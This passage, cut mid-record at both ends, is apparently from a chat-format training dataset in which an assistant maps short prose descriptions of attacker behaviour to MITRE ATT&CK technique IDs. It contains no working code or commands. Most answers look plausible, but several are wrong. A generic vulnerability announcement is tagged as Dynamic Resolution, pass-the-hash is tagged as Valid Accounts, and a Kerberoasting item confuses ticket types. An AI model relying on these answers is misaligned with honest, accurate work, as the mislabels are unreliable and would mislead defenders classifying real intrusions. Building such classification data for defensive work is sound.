                "content": "A malicious script enumerated and copied Docker daemon configuration files (/etc/docker/daemon.json) for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a previously obtained authentication cookie, the attacker bypasses multi-factor authentication and logs into the target system."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initiates a network boot using TFTP to load a malicious operating system image before the OS loads."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor accesses the Windows clipboard API to retrieve copied cryptocurrency wallet keys."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post‑exploitation tool updated the domain trust configuration, establishing a backdoor trust relationship for persistence."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor saturates a victim's network link by continuously transmitting UDP packets to random ports, leading to a network-level denial of service."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script sends HTTP requests to the Salesforce REST API to fetch all user records, revealing cloud account information."
            },
            {
                "role": "assistant",
                "content": "T1087.004 - Account Discovery: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leveraged open technical repositories like Exploit-DB and SecurityFocus to compile a list of exploitable CVEs."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain unauthorized access to a victim’s DNS server and modify its zone files to redirect users to malicious sites."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deploying a compromised Outlook form that uses the Application_Startup event to download and execute additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a botnet, the malicious actor floods the victim's web server with HTTP GET requests, exhausting its resources and making the service unavailable."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a web application’s third‑party plugin to insert a keylogger that records all form inputs on the site."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised server runs a Python one-liner that spawns a reverse shell to the command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages compromised Microsoft 365 accounts to authenticate to Azure AD services, bypassing multi-factor authentication through token theft."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted employee receives an email with a .zip file containing a malicious executable that registers a new service for persistence."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary stores malicious code within hidden ADS streams and runs it directly from memory without creating a file."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials are used to create a recurring job in a Docker Compose environment that runs a script to create hidden user accounts on host machines."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant constructs domain names from a seed value and resolves them through recursive DNS queries to discover its next beacon URL."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a specific sequence of connection attempts to closed ports (e.g., 1000, 2000, 3000) to silently open a firewall rule and gain access."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary implants a bootkit by flashing a compromised UEFI capsule, allowing code execution before any OS security mechanisms are engaged."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploited a zero‑day in SharePoint's file handling component to extract large volumes of corporate data."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload inspects the system BIOS and checks for known hypervisor signatures before executing its main routine."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor reuses previously captured password hashes to perform pass-the-hash authentication across the network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries dump the API keys stored in the app's configuration file to gain authorized access."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploited an unpatched SMB service to establish a persistent connection to the ADMIN$ share, delivering a backdoor executable to the target."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors obtain valid AWS access keys from leaked credentials and use them to enumerate S3 buckets."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised admin rolled back the system's OS image to a former release to regain access after patches were applied."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By issuing SPN queries to the domain controller, the adversary collects service tickets and later cracks the ticket's RC4‑HMAC hash to compromise the service account."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat modified the domain's trust policy to trust a malicious child domain, enabling privileged escalation."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed a rogue transport agent to the server's email handling component, which silently forwards copies of all sent emails to an external address."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware monitors the user's clipboard and captures any copied text, then sends it to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts the Firefox \"prefs.js\" file to determine configured proxy settings and privacy preferences."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script reads ~/.bash_history to find saved database passwords and reuse them on other hosts."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerability in a certificate management system to generate unauthorized code signing certificates."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker subverts the software installation process by corrupting the trust provider's verification, enabling malicious code execution."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers downgrade the cryptographic protocol from TLS 1.3 to TLS 1.0, reducing the effective key length."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sends a personalized email with a link to a malicious SharePoint site, exploiting the victim's trust to harvest login information."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan performs process enumeration to map out system services and user applications."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group takes advantage of an outdated Telnet service, sending specially crafted data to gain a foothold on the network."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through modifying the environment variable PATHEXT, the attacker adds a malicious script extension, causing scripts to be executed in place of expected binaries."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The infection creates an encrypted socket using a shared secret and the AES‑256‑CTR mode for command and control."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary embeds a malicious URL in a seemingly legitimate Office document; opening the document and clicking the link runs a backdoor installer."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor packages exfiltrated documents into a .archive file using a self‑built packing tool."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive Collected Data: Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A new vulnerability is announced, allowing attackers to bypass security controls on affected systems."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the System Script Proxy Execution technique via the public printer (PubPrn) to run PowerShell commands on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group gains access to a virtual private server through a phishing campaign targeting the hosting provider's staff, then uses the server for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer modifies the Mach-O headers to include an LC_LOAD_DYLIB entry, causing a backdoor library to load on execution."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploit script sets the default ACL on newly created files in a shared drive to grant read/write to all domain users."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised service account, the threat actor requests a ticket-granting ticket for a high-privilege account via Kerberoasting."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team abuses a compromised GitHub personal access token to gain unauthorized access to the organization’s repository and CI/CD pipeline."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used the Windows utility regsvr32 to register a malicious scriptlet hosted on an HTTP server, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs a command to stop the firewall service (MpsSvc) on Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the legitimate Windows utility rundll32.exe to load a malicious DLL and execute code, masking the activity as a system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encrypts image files (JPEG, PNG) to cause maximum disruption to media workflows."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group obtains credentials to a web server and plants a web shell that enables remote code execution for further infiltration."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the Windows API WriteProcessMemory and CreateRemoteThread to inject a payload into a high‑privilege process like svchost.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious compiled HTML Help document is used to execute a PowerShell one‑liner via the mshtml rendering engine, achieving initial execution on the host."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a WMI query to retrieve the system's BIOS serial number and motherboard model."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the com.apple.TimeMachine.plist to disable backups, preventing recovery of previous clean system states."
            },
            {
                "role": "assistant",
                "content": "T1647 - Plist File Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses the Microsoft Management Console (mmc) to proxy execution of a ransomware installer, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Network boundary bridging is achieved through the exploitation of NAT protocols, letting malicious traffic evade detection."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By flashing a rogue version of the GPU firmware, the attacker achieves code execution prior to the operating system launch."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor extracts a JWT (JSON Web Token) from a compromised web application and reuses it to impersonate the user in subsequent API calls."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a vulnerable third‑party SDK to dump access tokens from the application's memory heap during runtime."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deployed a deprecated system image on the target device, allowing exploitation of known bugs removed in newer versions."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set up a WireGuard VPN on a compromised host to create a secure bridge between the attacker’s infrastructure and the victim’s internal network."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor infected Windows machines via a malicious macro, adding them to a botnet for click‑fraud."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employed the System Binary Proxy Execution technique using regsvcs/regasm to run arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign includes a malicious .xsl file that, when opened in a vulnerable Windows environment, runs an obfuscated JScript payload."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script called the DigitalOcean API to create a snapshot of a droplet's disk, preserving the current state for later use."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a compromised USB device to harvest input data from the host, including typed passwords and security codes."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a Windows XML task definition file to the Task Scheduler library to run a keylogger on a daily basis."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a service that continuously reads clipboard contents and forwards them to a malicious endpoint."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors acquire a compromised web server to use as a proxy for exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary runs a PowerShell script that calls Get-WmiObject Win32_Processor to list CPU details."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a tool that intercepts outgoing network packets and sends duplicated copies to a hidden external server for data exfiltration."
            },
            {
                "role": "assistant",
